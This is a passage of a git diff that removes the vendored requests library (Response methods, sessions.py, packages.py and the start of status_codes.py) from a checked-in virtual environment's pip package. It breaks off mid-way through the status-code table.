b"".join(self.iter_content(CONTENT_CHUNK_SIZE)) or b"" - - self._content_consumed = True - # don't need to release the connection; that's been handled by urllib3 - # since we exhausted the data. - return self._content # type: ignore[return-value] - - @property - def text(self) -> str: - """Content of the response, in unicode. - - If Response.encoding is None, encoding will be guessed using - ``charset_normalizer`` or ``chardet``. - - The encoding of the response content is determined based solely on HTTP - headers, following RFC 2616 to the letter. If you can take advantage of - non-HTTP knowledge to make a better guess at the encoding, you should - set ``r.encoding`` appropriately before accessing this property. - """ - - # Try charset from content-type - content = None - encoding = self.encoding - - if not self.content: - return "" - - # Fallback to auto-detected encoding. - if self.encoding is None: - encoding = self.apparent_encoding - - # Decode unicode from given encoding. - try: - content = str(self.content, encoding or "utf-8", errors="replace") - except (LookupError, TypeError): - # A LookupError is raised if the encoding was not found which could - # indicate a misspelling or similar mistake. - # - # A TypeError can be raised if encoding is None - # - # So we try blindly encoding. - content = str(self.content, errors="replace") - - return content - - def json(self, **kwargs: Any) -> Any: - r"""Decodes the JSON response body (if any) as a Python object. - - This may return a dictionary, list, etc. depending on what is in the response. - - :param \*\*kwargs: Optional arguments that ``json.loads`` takes. - :raises requests.exceptions.JSONDecodeError: If the response body does not - contain valid json. - """ - - if not self.encoding and self.content and len(self.content) > 3: - # No encoding set. JSON RFC 4627 section 3 states we should expect - # UTF-8, -16 or -32. Detect which one to use; If the detection or - # decoding fails, fall back to `self.text` (using charset_normalizer to make - # a best guess). - encoding = guess_json_utf(self.content) - if encoding is not None: - try: - return complexjson.loads(self.content.decode(encoding), **kwargs) - except UnicodeDecodeError: - # Wrong UTF codec detected; usually because it's not UTF-8 - # but some other 8-bit codec. This is an RFC violation, - # and the server didn't bother to tell us what codec *was* - # used. - pass - except JSONDecodeError as e: - raise RequestsJSONDecodeError(e.msg, e.doc, e.pos) - - try: - return complexjson.loads(self.text, **kwargs) - except JSONDecodeError as e: - # Catch JSON-related errors and raise as requests.JSONDecodeError - # This aliases json.JSONDecodeError and simplejson.JSONDecodeError - raise RequestsJSONDecodeError(e.msg, e.doc, e.pos) - - @property - def links(self) -> dict[str, dict[str, str]]: - """Returns the parsed header links of the response, if any.""" - - header = self.headers.get("link") - - resolved_links: dict[str, dict[str, str]] = {} - - if header: - links = parse_header_links(header) - - for link in links: - key = link.get("rel") or link.get("url") - if key is not None: - resolved_links[key] = link - - return resolved_links - - def raise_for_status(self) -> None: - """Raises :class:`HTTPError`, if one occurred.""" - - http_error_msg = "" - if isinstance(self.reason, bytes): - # We attempt to decode utf-8 first because some servers - # choose to localize their reason strings. If the string - # isn't utf-8, we fall back to iso-8859-1 for all other - # encodings. (See PR #3538) - try: - reason = self.reason.decode("utf-8") - except UnicodeDecodeError: - reason = self.reason.decode("iso-8859-1") - else: - reason = self.reason - - if 400 <= self.status_code < 500: - http_error_msg = ( - f"{self.status_code} Client Error: {reason} for url: {self.url}" - ) - - elif 500 <= self.status_code < 600: - http_error_msg = ( - f"{self.status_code} Server Error: {reason} for url: {self.url}" - ) - - if http_error_msg: - raise HTTPError(http_error_msg, response=self) - - def close(self) -> None: - """Releases the connection back to the pool. Once this method has been - called the underlying ``raw`` object must not be accessed again. - - *Note: Should not normally need to be called explicitly.* - """ - if not self._content_consumed: - self.raw.close() - - release_conn = getattr(self.raw, "release_conn", None) - if release_conn is not None: - release_conn() diff --git a/venv/Lib/site-packages/pip/_vendor/requests/packages.py b/venv/Lib/site-packages/pip/_vendor/requests/packages.py deleted file mode 100644 index 200c38287f49ed338f30677c13543465185b0435..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/requests/packages.py +++ /dev/null @@ -1,25 +0,0 @@ -import sys - -from .compat import chardet - -# This code exists for backwards compatibility reasons. -# I don't like it either. Just look the other way. :) - -for package in ("urllib3", "idna"): - vendored_package = "pip._vendor." + package - locals()[package] = __import__(vendored_package) - # This traversal is apparently necessary such that the identities are - # preserved (requests.packages.urllib3.* is urllib3.*) - for mod in list(sys.modules): - if mod == vendored_package or mod.startswith(vendored_package + '.'): - unprefixed_mod = mod[len("pip._vendor."):] - sys.modules['pip._vendor.requests.packages.' + unprefixed_mod] = sys.modules[mod] - -if chardet is not None: - target = chardet.__name__ - for mod in list(sys.modules): - if mod == target or mod.startswith(f"{target}."): - imported_mod = sys.modules[mod] - sys.modules[f"requests.packages.{mod}"] = imported_mod - mod = mod.replace(target, "chardet") - sys.modules[f"requests.packages.{mod}"] = imported_mod diff --git a/venv/Lib/site-packages/pip/_vendor/requests/py.typed b/venv/Lib/site-packages/pip/_vendor/requests/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/pip/_vendor/requests/sessions.py b/venv/Lib/site-packages/pip/_vendor/requests/sessions.py deleted file mode 100644 index feaf34053a911d4b9051069aeb57e595b4d00165..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/requests/sessions.py +++ /dev/null @@ -1,920 +0,0 @@ -""" -requests.sessions -~~~~~~~~~~~~~~~~~ - -This module provides a Session object to manage and persist settings across -requests (cookies, auth, proxies). -""" - -from __future__ import annotations - -import os -import sys -import time -from collections import OrderedDict -from collections.abc import Generator, Mapping, MutableMapping -from datetime import timedelta -from typing import TYPE_CHECKING, Any, cast - -from ._internal_utils import to_native_string -from ._types import is_prepared as _is_prepared -from .adapters import HTTPAdapter -from .auth import _basic_auth_str # type: ignore[reportPrivateUsage] -from .compat import cookielib, urljoin, urlparse -from .cookies import ( - RequestsCookieJar, - cookiejar_from_dict, - extract_cookies_to_jar, - merge_cookies, -) -from .exceptions import ( - ChunkedEncodingError, - ContentDecodingError, - InvalidSchema, - TooManyRedirects, -) -from .hooks import default_hooks, dispatch_hook - -# formerly defined here, reexposed here for backward compatibility -from .models import ( # noqa: F401 - DEFAULT_REDIRECT_LIMIT, - REDIRECT_STATI, # type: ignore[reportUnusedImport] - PreparedRequest, - Request, - Response, -) -from .status_codes import codes -from .structures import CaseInsensitiveDict -from .utils import ( # noqa: F401 - DEFAULT_PORTS, - default_headers, - get_auth_from_url, - get_environ_proxies, - get_netrc_auth, - requote_uri, - resolve_proxies, - rewind_body, - should_bypass_proxies, # type: ignore[reportUnusedImport] # re-export for external consumers - to_key_val_list, -) - -if TYPE_CHECKING: - from http.cookiejar import CookieJar - - from typing_extensions import Self, Unpack - - from . import _types as _t - from .adapters import BaseAdapter - -# Preferred clock, based on which one is more accurate on a given system. -if sys.platform == "win32": - preferred_clock = time.perf_counter -else: - preferred_clock = time.time - - -def merge_setting( - request_setting: Any, session_setting: Any, dict_class: type = OrderedDict -) -> Any: - """Determines appropriate setting for a given request, taking into account - the explicit setting on that request, and the setting in the session. If a - setting is a dictionary, they will be merged together using `dict_class` - """ - - if session_setting is None: - return request_setting - - if request_setting is None: - return session_setting - - # Bypass if not a dictionary (e.g. verify) - if not ( - isinstance(session_setting, Mapping) and isinstance(request_setting, Mapping) - ): - return request_setting - - merged_setting = dict_class(to_key_val_list(session_setting)) # type: ignore[arg-type] # isinstance narrows Any to Mapping[Unknown] - merged_setting.update(to_key_val_list(request_setting)) # type: ignore[arg-type] - - # Remove keys that are set to None. Extract keys first to avoid altering - # the dictionary during iteration. - none_keys = [k for (k, v) in merged_setting.items() if v is None] - for key in none_keys: - del merged_setting[key] - - return merged_setting - - -def merge_hooks( - request_hooks: _t.HooksType, - session_hooks: _t.HooksType, - dict_class: type = OrderedDict, -) -> _t.HooksType: - """Properly merges both requests and session hooks. - - This is necessary because when request_hooks == {'response': []}, the - merge breaks Session hooks entirely. - """ - if session_hooks is None or session_hooks.get("response") == []: - return request_hooks - - if request_hooks is None or request_hooks.get("response") == []: - return session_hooks - - return merge_setting(request_hooks, session_hooks, dict_class) - - -class SessionRedirectMixin: - max_redirects: int - trust_env: bool - cookies: RequestsCookieJar - - def send(self, request: PreparedRequest, **kwargs: Any) -> Response: ... - - def get_redirect_target(self, resp: Response) -> str | None: - """Receives a Response. Returns a redirect URI or ``None``""" - # Due to the nature of how requests processes redirects this method will - # be called at least once upon the original response and at least twice - # on each subsequent redirect response (if any). - # If a custom mixin is used to handle this logic, it may be advantageous - # to cache the redirect location onto the response object as a private - # attribute. - if resp.is_redirect: - location = resp.headers["location"] - # Currently the underlying http module on py3 decode headers - # in latin1, but empirical evidence suggests that latin1 is very - # rarely used with non-ASCII characters in HTTP headers. - # It is more likely to get UTF8 header rather than latin1. - # This causes incorrect handling of UTF8 encoded location headers. - # To solve this, we re-encode the location in latin1. - location = location.encode("latin1") - return to_native_string(location, "utf8") - return None - - def should_strip_auth(self, old_url: str, new_url: str) -> bool: - """Decide whether Authorization header should be removed when redirecting""" - old_parsed = urlparse(old_url) - new_parsed = urlparse(new_url) - if old_parsed.hostname != new_parsed.hostname: - return True - # Special case: allow http -> https redirect when using the standard - # ports. This isn't specified by RFC 7235, but is kept to avoid - # breaking backwards compatibility with older versions of requests - # that allowed any redirects on the same host. - if ( - old_parsed.scheme == "http" - and old_parsed.port in (80, None) - and new_parsed.scheme == "https" - and new_parsed.port in (443, None) - ): - return False - - # Handle default port usage corresponding to scheme. - changed_port = old_parsed.port != new_parsed.port - changed_scheme = old_parsed.scheme != new_parsed.scheme - default_port = (DEFAULT_PORTS.get(old_parsed.scheme, None), None) - if ( - not changed_scheme - and old_parsed.port in default_port - and new_parsed.port in default_port - ): - return False - - # Standard case: root URI must match - return changed_port or changed_scheme - - def resolve_redirects( - self, - resp: Response, - req: PreparedRequest, - stream: bool = False, - timeout: _t.TimeoutType = None, - verify: _t.VerifyType = True, - cert: _t.CertType = None, - proxies: dict[str, str] | None = None, - yield_requests: bool = False, - **adapter_kwargs: Any, - ) -> Generator[Response, None, None]: - """Receives a Response. Returns a generator of Responses or Requests.""" - - hist: list[Response] = [] # keep track of history - - url = self.get_redirect_target(resp) - previous_fragment = urlparse(req.url).fragment - while url: - prepared_request = req.copy() - - # Update history and keep track of redirects. - resp.history = hist[:] - hist.append(resp) - - try: - resp.content # Consume socket so it can be released - except (ChunkedEncodingError, ContentDecodingError, RuntimeError): - resp.raw.read(decode_content=False) - - if len(resp.history) >= self.max_redirects: - raise TooManyRedirects( - f"Exceeded {self.max_redirects} redirects.", response=resp - ) - - # Release the connection back into the pool. - resp.close() - - # Handle redirection without scheme (see: RFC 1808 Section 4) - if url.startswith("//"): - parsed_rurl = urlparse(resp.url) - url = ":".join([to_native_string(parsed_rurl.scheme), url]) - - # Normalize url case and attach previous fragment if needed (RFC 7231 7.1.2) - parsed = urlparse(url) - if parsed.fragment == "" and previous_fragment: - parsed = parsed._replace(fragment=previous_fragment) - elif parsed.fragment: - previous_fragment = parsed.fragment - url = parsed.geturl() - - # Facilitate relative 'location' headers, as allowed by RFC 7231. - # (e.g. '/path/to/resource' instead of 'http://domain.tld/path/to/resource') - # Compliant with RFC3986, we percent encode the url. - if not parsed.netloc: - url = urljoin(resp.url, requote_uri(url)) - else: - url = requote_uri(url) - - prepared_request.url = to_native_string(url) - - self.rebuild_method(prepared_request, resp) - - # https://github.com/psf/requests/issues/1084 - if resp.status_code not in ( - codes.temporary_redirect, - codes.permanent_redirect, - ): - # https://github.com/psf/requests/issues/3490 - purged_headers = ("Content-Length", "Content-Type", "Transfer-Encoding") - for header in purged_headers: - prepared_request.headers.pop(header, None) - prepared_request.body = None - - headers = prepared_request.headers - headers.pop("Cookie", None) - - # Extract any cookies sent on the response to the cookiejar - # in the new request. Because we've mutated our copied prepared - # request, use the old one that we haven't yet touched. - cookie_jar = cast("CookieJar", prepared_request._cookies) # type: ignore[reportPrivateUsage] - extract_cookies_to_jar(cookie_jar, req, resp.raw) - merge_cookies(cookie_jar, self.cookies) - prepared_request.prepare_cookies(cookie_jar) - - # Rebuild auth and proxy information. - proxies = self.rebuild_proxies(prepared_request, proxies) - self.rebuild_auth(prepared_request, resp) - - # A failed tell() sets `_body_position` to `object()`. This non-None - # value ensures `rewindable` will be True, allowing us to raise an - # UnrewindableBodyError, instead of hanging the connection. - rewindable = prepared_request._body_position is not None and ( # type: ignore[reportPrivateUsage] - "Content-Length" in headers or "Transfer-Encoding" in headers - ) - - # Attempt to rewind consumed file-like object. - if rewindable: - rewind_body(prepared_request) - - # Override the original request. - req = prepared_request - - if yield_requests: - yield req # type: ignore[misc] # Internal use only, returns PreparedRequest - else: - resp = self.send( - req, - stream=stream, - timeout=timeout, - verify=verify, - cert=cert, - proxies=proxies, - allow_redirects=False, - **adapter_kwargs, - ) - - extract_cookies_to_jar(self.cookies, prepared_request, resp.raw) - - # extract redirect url, if any, for the next loop - url = self.get_redirect_target(resp) - yield resp - - def rebuild_auth( - self, prepared_request: PreparedRequest, response: Response - ) -> None: - """When being redirected we may want to strip authentication from the - request to avoid leaking credentials. This method intelligently removes - and reapplies authentication where possible to avoid credential loss. - """ - original_request = response.request - assert _is_prepared(original_request) - assert _is_prepared(prepared_request) - - headers = prepared_request.headers - original_url = original_request.url - url = prepared_request.url - - if "Authorization" in headers and self.should_strip_auth(original_url, url): - # If we get redirected to a new host, we should strip out any - # authentication headers. - del headers["Authorization"] - - # .netrc might have more auth for us on our new host. - new_auth = get_netrc_auth(url) if self.trust_env else None - if new_auth is not None: - prepared_request.prepare_auth(new_auth) - - def rebuild_proxies( - self, - prepared_request: PreparedRequest, - proxies: dict[str, str] | None, - ) -> dict[str, str]: - """This method re-evaluates the proxy configuration by considering the - environment variables. If we are redirected to a URL covered by - NO_PROXY, we strip the proxy configuration. Otherwise, we set missing - proxy keys for this URL (in case they were stripped by a previous - redirect). - - This method also replaces the Proxy-Authorization header where - necessary. - - :rtype: dict - """ - assert _is_prepared(prepared_request) - headers = prepared_request.headers - scheme = urlparse(prepared_request.url).scheme - new_proxies = resolve_proxies(prepared_request, proxies, self.trust_env) - - if "Proxy-Authorization" in headers: - del headers["Proxy-Authorization"] - - try: - username, password = get_auth_from_url(new_proxies[scheme]) - except KeyError: - username, password = None, None - - # urllib3 handles proxy authorization for us in the standard adapter. - # Avoid appending this to TLS tunneled requests where it may be leaked. - if not scheme.startswith("https") and username and password: - headers["Proxy-Authorization"] = _basic_auth_str(username, password) - - return new_proxies - - def rebuild_method( - self, prepared_request: PreparedRequest, response: Response - ) -> None: - """When being redirected we may want to change the method of the request - based on certain specs or browser behavior. - """ - method = prepared_request.method - - # https://tools.ietf.org/html/rfc7231#section-6.4.4 - if response.status_code == codes.see_other and method != "HEAD": - method = "GET" - - # Do what the browsers do, despite standards... - # First, turn 302s into GETs. - if response.status_code == codes.found and method != "HEAD": - method = "GET" - - # Second, if a POST is responded to with a 301, turn it into a GET. - # This bizarre behaviour is explained in Issue 1704. - if response.status_code == codes.moved and method == "POST": - method = "GET" - - prepared_request.method = method - - -class Session(SessionRedirectMixin): - """A Requests session. - - Provides cookie persistence, connection-pooling, and configuration. - - Basic Usage:: - - >>> import requests - >>> s = requests.Session() - >>> s.get('https://httpbin.org/get') - - - Or as a context manager:: - - >>> with requests.Session() as s: - ... s.get('https://httpbin.org/get') - - """ - - headers: CaseInsensitiveDict[str] - auth: _t.AuthType - proxies: dict[str, str] - hooks: dict[str, list[_t.HookType]] - params: MutableMapping[str, Any] - stream: bool - verify: _t.VerifyType - cert: _t.CertType - max_redirects: int - trust_env: bool - cookies: RequestsCookieJar - adapters: MutableMapping[str, BaseAdapter] - - __attrs__: list[str] = [ - "headers", - "cookies", - "auth", - "proxies", - "hooks", - "params", - "verify", - "cert", - "adapters", - "stream", - "trust_env", - "max_redirects", - ] - - def __init__(self) -> None: - #: A case-insensitive dictionary of headers to be sent on each - #: :class:`Request ` sent from this - #: :class:`Session `. - self.headers = default_headers() - - #: Default Authentication tuple or object to attach to - #: :class:`Request `. - self.auth = None - - #: Dictionary mapping protocol or protocol and host to the URL of the proxy - #: (e.g. {'http': 'foo.bar:3128', 'http://host.name': 'foo.bar:4012'}) to - #: be used on each :class:`Request `. - self.proxies = {} - - #: Event-handling hooks. - self.hooks = default_hooks() - - #: Dictionary of querystring data to attach to each - #: :class:`Request `. The dictionary values may be lists for - #: representing multivalued query parameters. - self.params = {} - - #: Stream response content default. - self.stream = False - - #: SSL Verification default. - #: Defaults to `True`, requiring requests to verify the TLS certificate at the - #: remote end. - #: If verify is set to `False`, requests will accept any TLS certificate - #: presented by the server, and will ignore hostname mismatches and/or - #: expired certificates, which will make your application vulnerable to - #: man-in-the-middle (MitM) attacks. - #: Only set this to `False` for testing. - #: If verify is set to a string, it must be the path to a CA bundle file - #: that will be used to verify the TLS certificate. - self.verify = True - - #: SSL client certificate default, if String, path to ssl client - #: cert file (.pem). If Tuple, ('cert', 'key') pair. - self.cert = None - - #: Maximum number of redirects allowed. If the request exceeds this - #: limit, a :class:`TooManyRedirects` exception is raised. - #: This defaults to requests.models.DEFAULT_REDIRECT_LIMIT, which is - #: 30. - self.max_redirects = DEFAULT_REDIRECT_LIMIT - - #: Trust environment settings for proxy configuration, default - #: authentication and similar. - self.trust_env = True - - #: A CookieJar containing all currently outstanding cookies set on this - #: session. By default it is a - #: :class:`RequestsCookieJar `, but - #: may be any other ``cookielib.CookieJar`` compatible object. - self.cookies = cookiejar_from_dict({}) - - # Default connection adapters. - self.adapters = OrderedDict() - self.mount("https://", HTTPAdapter()) - self.mount("http://", HTTPAdapter()) - - def __enter__(self) -> Self: - return self - - def __exit__(self, *args: Any) -> None: - self.close() - - def prepare_request(self, request: Request) -> PreparedRequest: - """Constructs a :class:`PreparedRequest ` for - transmission and returns it. The :class:`PreparedRequest` has settings - merged from the :class:`Request ` instance and those of the - :class:`Session`. - - :param request: :class:`Request` instance to prepare with this - session's settings. - :rtype: requests.PreparedRequest - """ - url = cast("_t.UriType", request.url) - method = cast(str, request.method) - - cookies = request.cookies or {} - - # Bootstrap CookieJar. - if not isinstance(cookies, cookielib.CookieJar): - cookies = cookiejar_from_dict(cookies) - - # Merge with session cookies - merged_cookies = merge_cookies( - merge_cookies(RequestsCookieJar(), self.cookies), cookies - ) - - # Set environment's basic authentication if not explicitly set. - auth = request.auth - if self.trust_env and not auth and not self.auth: - auth = get_netrc_auth(url) - - p = PreparedRequest() - p.prepare( - method=method.upper(), - url=url, - files=request.files, - data=request.data, - json=request.json, - headers=merge_setting( - request.headers, self.headers, dict_class=CaseInsensitiveDict - ), - params=merge_setting(request.params, self.params), - auth=merge_setting(auth, self.auth), - cookies=merged_cookies, - hooks=merge_hooks(request.hooks, self.hooks), - ) - return p - - def request( - self, - method: str, - url: _t.UriType, - params: _t.ParamsType = None, - data: _t.DataType = None, - headers: _t.HeadersType = None, - cookies: RequestsCookieJar | CookieJar | dict[str, str] | None = None, - files: _t.FilesType = None, - auth: _t.AuthType = None, - timeout: _t.TimeoutType = None, - allow_redirects: bool = True, - proxies: dict[str, str] | None = None, - hooks: _t.HooksInputType | None = None, - stream: bool | None = None, - verify: _t.VerifyType | None = None, - cert: _t.CertType = None, - json: _t.JsonType = None, - ) -> Response: - """Constructs a :class:`Request `, prepares it and sends it. - Returns :class:`Response ` object. - - :param method: method for the new :class:`Request` object. - :param url: URL for the new :class:`Request` object. - :param params: (optional) Dictionary or bytes to be sent in the query - string for the :class:`Request`. - :param data: (optional) Dictionary, list of tuples, bytes, or file-like - object to send in the body of the :class:`Request`. - :param json: (optional) json to send in the body of the - :class:`Request`. - :param headers: (optional) Dictionary of HTTP Headers to send with the - :class:`Request`. - :param cookies: (optional) Dict or CookieJar object to send with the - :class:`Request`. - :param files: (optional) Dictionary of ``'filename': file-like-objects`` - for multipart encoding upload. - :param auth: (optional) Auth tuple or callable to enable - Basic/Digest/Custom HTTP Auth. - :param timeout: (optional) How many seconds to wait for the server to send - data before giving up, as a float, or a :ref:`(connect timeout, - read timeout) ` tuple. - :type timeout: float or tuple - :param allow_redirects: (optional) Set to True by default. - :type allow_redirects: bool - :param proxies: (optional) Dictionary mapping protocol or protocol and - hostname to the URL of the proxy. - :param hooks: (optional) Dictionary mapping hook name to one event or - list of events, event must be callable. - :param stream: (optional) whether to immediately download the response - content. Defaults to ``False``. - :param verify: (optional) Either a boolean, in which case it controls whether we verify - the server's TLS certificate, or a string, in which case it must be a path - to a CA bundle to use. Defaults to ``True``. When set to - ``False``, requests will accept any TLS certificate presented by - the server, and will ignore hostname mismatches and/or expired - certificates, which will make your application vulnerable to - man-in-the-middle (MitM) attacks. Setting verify to ``False`` - may be useful during local development or testing. - :param cert: (optional) if String, path to ssl client cert file (.pem). - If Tuple, ('cert', 'key') pair. - :rtype: requests.Response - """ - if isinstance(url, bytes): - url = url.decode("utf-8") - - # Create the Request. - req = Request( - method=method.upper(), - url=url, - headers=headers, - files=files, - data=data or {}, - json=json, - params=params or {}, - auth=auth, - cookies=cookies, - hooks=hooks, - ) - prep = self.prepare_request(req) - - assert _is_prepared(prep) - - proxies = proxies or {} - - settings = self.merge_environment_settings( - prep.url, proxies, stream, verify, cert - ) - - # Send the request. - send_kwargs = { - "timeout": timeout, - "allow_redirects": allow_redirects, - } - send_kwargs.update(settings) - resp = self.send(prep, **send_kwargs) - - return resp - - def get( - self, - url: _t.UriType, - params: _t.ParamsType = None, - **kwargs: Unpack[_t.GetKwargs], - ) -> Response: - r"""Sends a GET request. Returns :class:`Response` object. - - :param url: URL for the new :class:`Request` object. - :param params: (optional) Dictionary, list of tuples or bytes to send - in the query string for the :class:`Request`. - :param \*\*kwargs: Optional arguments that ``request`` takes. - :rtype: requests.Response - """ - - kwargs.setdefault("allow_redirects", True) - return self.request("GET", url, params=params, **kwargs) - - def options(self, url: _t.UriType, **kwargs: Unpack[_t.RequestKwargs]) -> Response: - r"""Sends a OPTIONS request. Returns :class:`Response` object. - - :param url: URL for the new :class:`Request` object. - :param \*\*kwargs: Optional arguments that ``request`` takes. - :rtype: requests.Response - """ - - kwargs.setdefault("allow_redirects", True) - return self.request("OPTIONS", url, **kwargs) - - def head(self, url: _t.UriType, **kwargs: Unpack[_t.RequestKwargs]) -> Response: - r"""Sends a HEAD request. Returns :class:`Response` object. - - :param url: URL for the new :class:`Request` object. - :param \*\*kwargs: Optional arguments that ``request`` takes. - :rtype: requests.Response - """ - - kwargs.setdefault("allow_redirects", False) - return self.request("HEAD", url, **kwargs) - - def post( - self, - url: _t.UriType, - data: _t.DataType = None, - json: _t.JsonType = None, - **kwargs: Unpack[_t.PostKwargs], - ) -> Response: - r"""Sends a POST request. Returns :class:`Response` object. - - :param url: URL for the new :class:`Request` object. - :param data: (optional) Dictionary, list of tuples, bytes, or file-like - object to send in the body of the :class:`Request`. - :param json: (optional) json to send in the body of the :class:`Request`. - :param \*\*kwargs: Optional arguments that ``request`` takes. - :rtype: requests.Response - """ - - return self.request("POST", url, data=data, json=json, **kwargs) - - def put( - self, url: _t.UriType, data: _t.DataType = None, **kwargs: Unpack[_t.DataKwargs] - ) -> Response: - r"""Sends a PUT request. Returns :class:`Response` object. - - :param url: URL for the new :class:`Request` object. - :param data: (optional) Dictionary, list of tuples, bytes, or file-like - object to send in the body of the :class:`Request`. - :param \*\*kwargs: Optional arguments that ``request`` takes. - :rtype: requests.Response - """ - - return self.request("PUT", url, data=data, **kwargs) - - def patch( - self, url: _t.UriType, data: _t.DataType = None, **kwargs: Unpack[_t.DataKwargs] - ) -> Response: - r"""Sends a PATCH request. Returns :class:`Response` object. - - :param url: URL for the new :class:`Request` object. - :param data: (optional) Dictionary, list of tuples, bytes, or file-like - object to send in the body of the :class:`Request`. - :param \*\*kwargs: Optional arguments that ``request`` takes. - :rtype: requests.Response - """ - - return self.request("PATCH", url, data=data, **kwargs) - - def delete(self, url: _t.UriType, **kwargs: Unpack[_t.RequestKwargs]) -> Response: - r"""Sends a DELETE request. Returns :class:`Response` object. - - :param url: URL for the new :class:`Request` object. - :param \*\*kwargs: Optional arguments that ``request`` takes. - :rtype: requests.Response - """ - - return self.request("DELETE", url, **kwargs) - - def send(self, request: PreparedRequest, **kwargs: Any) -> Response: - """Send a given PreparedRequest. - - :rtype: requests.Response - """ - # Set defaults that the hooks can utilize to ensure they always have - # the correct parameters to reproduce the previous request. - kwargs.setdefault("stream", self.stream) - kwargs.setdefault("verify", self.verify) - kwargs.setdefault("cert", self.cert) - if "proxies" not in kwargs: - kwargs["proxies"] = resolve_proxies(request, self.proxies, self.trust_env) - - # It's possible that users might accidentally send a Request object. - # Guard against that specific failure case. - if isinstance(request, Request): - raise ValueError("You can only send PreparedRequests.") - - assert _is_prepared(request) - - # Set up variables needed for resolve_redirects and dispatching of hooks - allow_redirects = kwargs.pop("allow_redirects", True) - stream = kwargs.get("stream") - hooks = request.hooks - - # Get the appropriate adapter to use - adapter = self.get_adapter(url=request.url) - - # Start time (approximately) of the request - start = preferred_clock() - - # Send the request - r = adapter.send(request, **kwargs) - - # Total elapsed time of the request (approximately) - elapsed = preferred_clock() - start - r.elapsed = timedelta(seconds=elapsed) - - # Response manipulation hooks - r = dispatch_hook("response", hooks, r, **kwargs) - - # Persist cookies - if r.history: - # If the hooks create history then we want those cookies too - for resp in r.history: - extract_cookies_to_jar(self.cookies, resp.request, resp.raw) - - extract_cookies_to_jar(self.cookies, request, r.raw) - - # Resolve redirects if allowed. - if allow_redirects: - # Redirect resolving generator. - gen = self.resolve_redirects(r, request, **kwargs) - history = [resp for resp in gen] - else: - history = [] - - # Shuffle things around if there's history. - if history: - # Insert the first (original) request at the start - history.insert(0, r) - # Get the last request made - r = history.pop() - r.history = history - - # If redirects aren't being followed, store the response on the Request for Response.next(). - if not allow_redirects: - try: - r._next = next( # type: ignore[assignment] # yield_requests=True returns PreparedRequest - self.resolve_redirects(r, request, yield_requests=True, **kwargs) - ) - except StopIteration: - pass - - if not stream: - r.content - - return r - - def merge_environment_settings( - self, - url: str, - proxies: dict[str, str] | None, - stream: bool | None, - verify: _t.VerifyType | None, - cert: _t.CertType, - ) -> dict[str, Any]: - """ - Check the environment and merge it with some settings. - - :rtype: dict - """ - # Gather clues from the surrounding environment. - if self.trust_env: - # Set environment's proxies. - no_proxy = proxies.get("no_proxy") if proxies is not None else None - env_proxies = get_environ_proxies(url, no_proxy=no_proxy) - if proxies is not None: - for k, v in env_proxies.items(): - proxies.setdefault(k, v) - - # Look for requests environment configuration - # and be compatible with cURL. - if verify is True or verify is None: - verify = ( - os.environ.get("REQUESTS_CA_BUNDLE") - or os.environ.get("CURL_CA_BUNDLE") - or verify - ) - - # Merge all the kwargs. - proxies = merge_setting(proxies, self.proxies) - stream = merge_setting(stream, self.stream) - verify = merge_setting(verify, self.verify) - cert = merge_setting(cert, self.cert) - - return {"proxies": proxies, "stream": stream, "verify": verify, "cert": cert} - - def get_adapter(self, url: str) -> BaseAdapter: - """ - Returns the appropriate connection adapter for the given URL. - - :rtype: requests.adapters.BaseAdapter - """ - for prefix, adapter in self.adapters.items(): - if url.lower().startswith(prefix.lower()): - return adapter - - # Nothing matches :-/ - raise InvalidSchema(f"No connection adapters were found for {url!r}") - - def close(self) -> None: - """Closes all adapters and as such the session""" - for v in self.adapters.values(): - v.close() - - def mount(self, prefix: str, adapter: BaseAdapter) -> None: - """Registers a connection adapter to a prefix. - - Adapters are sorted in descending order by prefix length. - """ - self.adapters[prefix] = adapter - keys_to_move = [k for k in self.adapters if len(k) < len(prefix)] - - for key in keys_to_move: - self.adapters[key] = self.adapters.pop(key) - - def __getstate__(self) -> dict[str, Any]: - state = {attr: getattr(self, attr, None) for attr in self.__attrs__} - return state - - def __setstate__(self, state: dict[str, Any]) -> None: - for attr, value in state.items(): - setattr(self, attr, value) - - -def session() -> Session: - """ - Returns a :class:`Session` for context-management. - - .. deprecated:: 1.0.0 - - This method has been deprecated since version 1.0.0 and is only kept for - backwards compatibility. New code should use :class:`~requests.sessions.Session` - to create a session. This may be removed at a future date. - - :rtype: Session - """ - return Session() diff --git a/venv/Lib/site-packages/pip/_vendor/requests/status_codes.py b/venv/Lib/site-packages/pip/_vendor/requests/status_codes.py deleted file mode 100644 index 6c59d6baec83bd82055106a5d2cea08fa1195274..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/requests/status_codes.py +++ /dev/null @@ -1,128 +0,0 @@ -r""" -The ``codes`` object defines a mapping from common names for HTTP statuses -to their numerical codes, accessible either as attributes or as dictionary -items. - -Example:: - - >>> import requests - >>> requests.codes['temporary_redirect'] - 307 - >>> requests.codes.teapot - 418 - >>> requests.codes['\o/'] - 200 - -Some codes have multiple names, and both upper- and lower-case versions of -the names are allowed. For example, ``codes.ok``, ``codes.OK``, and -``codes.okay`` all correspond to the HTTP status code 200. -""" - -from .structures import LookupDict - -_codes = { - # Informational. - 100: ("continue",), - 101: ("switching_protocols",), - 102: ("processing", "early-hints"), - 103: ("checkpoint",), - 122: ("uri_too_long", "request_uri_too_long"), - 200: ("ok", "okay", "all_ok", "all_okay", "all_good", "\\o/", "✓"), - 201: ("created",), - 202: ("accepted",), - 203: ("non_authoritative_info", "non_authoritative_information"), - 204: ("no_content",), - 205: ("reset_content", "reset"), - 206: ("partial_content", "partial"), - 207: ("multi_status", "multiple_status", "multi_stati", "multiple_stati"), - 208: ("already_reported",), - 226: ("im_used",), - # Redirection. - 300: ("multiple_choices",), - 301: ("moved_permanently", "moved", "\\o-"), - 302: ("found",), - 303: ("see_other", "other"), - 304: ("not_modified",), - 305: ("use_proxy",), - 306: ("switch_proxy",), - 307: ("temporary_redirect", "temporary_moved", "temporary"), - 308: ( - "permanent_redirect", - "resume_incomplete", - "resume", - ), # "resume" and "resume_incomplete" to be removed in 3.0 - # Client Error. - 400: ("bad_request", "bad"), - 401: ("unauthorized",), - 402: ("payment_required", "payment"), - 403: ("forbidden",), - 404: ("not_found", "-o-"), - 405: ("method_not_allowed", "not_allowed"), - 406: ("not_acceptable",), - 407: 